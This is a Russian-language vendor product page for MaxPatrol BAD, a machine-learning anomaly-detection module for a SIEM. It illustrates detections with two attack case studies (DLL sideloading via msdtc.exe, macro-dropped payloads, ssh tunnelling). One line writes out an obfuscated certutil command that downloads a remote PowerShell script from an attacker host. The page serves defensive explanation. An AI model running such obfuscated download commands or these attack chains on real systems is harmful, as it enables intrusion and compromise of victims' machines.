MaxPatrol BAD

AI- и ML-помощник для обнаружения сложных атак и расследования инцидентов

MaxPatrol BAD (Behaviour Anomaly Detection) — модуль поведенческого анализа в составе MaxPatrol SIEM. Использует машинное обучение, чтобы находить атаки, в том числе скрытые и нетипичные, которые не выявят обычные правила и сигнатуры. Помогает точно обнаруживать действия злоумышленников и быстрее расследовать инциденты.

Ключевые преимущества

Фокусирует внимание на критически опасных инцидентах

Снижает инфошум и позволяет сосредоточиться на действительно опасных событиях. Корреляция отсекает очевидное, MaxPatrol BAD классифицирует сложное. Оператор видит три инцидента с высоким приоритетом, а не разбирает 100 незначительных оповещений

Видит то, что не покрывают правила корреляции

Определяет аномалии, которые невозможно обнаружить с помощью стандартных правил и сигнатур. Выявляет нетипичное поведение в инфраструктуре, расширяя зону контроля за счет поведенческого анализа

Работает без ручной настройки

Не требует обновления правил и постоянной ручной настройки. Автономные механизмы обучения начинают работать сразу, первые релевантные результаты появляются через 1–2 недели (наиболее релевантные — через месяц)

Подстраивается под инфраструктуру

Адаптирует логику обнаружения и обучается на данных из вашей инфраструктуры, снижая количество ложных срабатываний. Минимум false positives и максимум пользы — без участия человека

Расширяет контекст

ML-модели анализируют цепочку запусков процессов и все связанные с ними события, отображая результат в едином окне. Это упрощает этапы расследования и сбора информации для аналитика

Оставьте заявку на бесплатный тест-драйв

Подключайтесь к Telegram-комьюнити, общайтесь и узнавайте самые свежие новости о продукте

MaxPatrol BAD: практика использования

Use case № 1. LOTL-атака

Проблема

Сложная многоэтапная атака с обходом средств динамического анализа

1. **Initial Access**
   Отправка бухгалтеру фишингового письма с запароленным архивом, содержащим образ диска со скрытыми файлами и LNK-файл, замаскированный под PDF-документ
2. **Execution & Defense Evasion**
   Активация LNK-файла → запуск легитимного msdtc.exe → DLL sideloading вредоносной нагрузки msdtctm.dll с WebDAV-сервера злоумышленника
3. **Discovery**
   Сбор системной информации: ipconfig, whoami, netstat. Анализ сетевых подключений и привилегий
4. **Lateral Movement**
   Установка туннеля через ssh.exe → горизонтальное перемещение → несанкционированный доступ к данным (чтение дисков)

Решение

MaxPatrol BAD выявил ключевые этапы атаки в режиме реального времени

1. **Аномалии в LOTL-процессах**
   - Нетипичный путь запуска: Z:\msdtc.exe
   - Нехарактерный для процесса ASN (AMAZON-02)
2. **Нелегитимное выполнение**
   - Нетипичные аргументы командной строки
   - Подозрительная сетевая активность процесса msdtc.exe
3. **Нетипичное использование утилит разведки**
   - Аномальный для учетной записи запуск netstat.exe
   - Подозрительная цепочка: msdtc.exe → cmd.exe → netstat.exe
4. **Перемещения**
   - Аномальная авторизация на удаленном узле процессом ssh.exe
   - Редкая цепочка cmd.exe → msdtc.exe → ssh.exe в инфраструктуре

Use case № 2. Целевая атака через зараженный макрос и DLL-инъекцию в решение «1С»

Проблема

Целевая атака с обфускацией и AI-подготовкой

1. **Initial Access**
   Отправка документа («Зарплатная ведомость») с макросом, загружающим inc.ps1, reportlib.dll и shellcode.bin через WebDAV
2. **Privilege Escalation**
   DLL-инъекция в процесс 1Cv8.exe (эксплуатация доверенного ПО)
3. **Command and Control**
   Обфусцированное выполнение: ceR"tUU"IL.exe -U"RI"Ca"CH"E -S"p"LiT -f h"tt"p://[...]/inc.ps1
4. **Discovery**
   - Использование qwinsta для анализа сессий
   - Сбор данных: ipconfig, whoami
5. **Lateral Movement**
   - Туннелирование через ssh.exe
   - Несанкционированный доступ к данным

Решение

MaxPatrol BAD выявил ключевые этапы атаки в режиме реального времени

1. **Аномалии winword.exe**
   - Загрузка fastprox.dll
   - Подозрительные DNS-запросы
2. - Подозрительная цепочка winword.exe → 1cv8.exe → cmd.exe → qwinsta.exe
3. - Аномальное создание файла inc.ps1 процессом certutil.exe
   - Нетипичные аргументы командной строки, в том числе обфускация
4. - Подозрительный запуск утилиты разведки qwinsta.exe с использованием учетной записи пользователя
5. - Нетипичные подключения ssh.exe
   - Аномальное изменение значений реестра процессом powershell.exe

Результат

MaxPatrol BAD приоритизировал события, выделил реальные угрозы и собрал полную картину действий злоумышленников. Специалисты SOC получили готовый контекст для форензики, отреагировали максимально быстро и предотвратили ущерб от атаки.

Подробнее про use case № 1


pt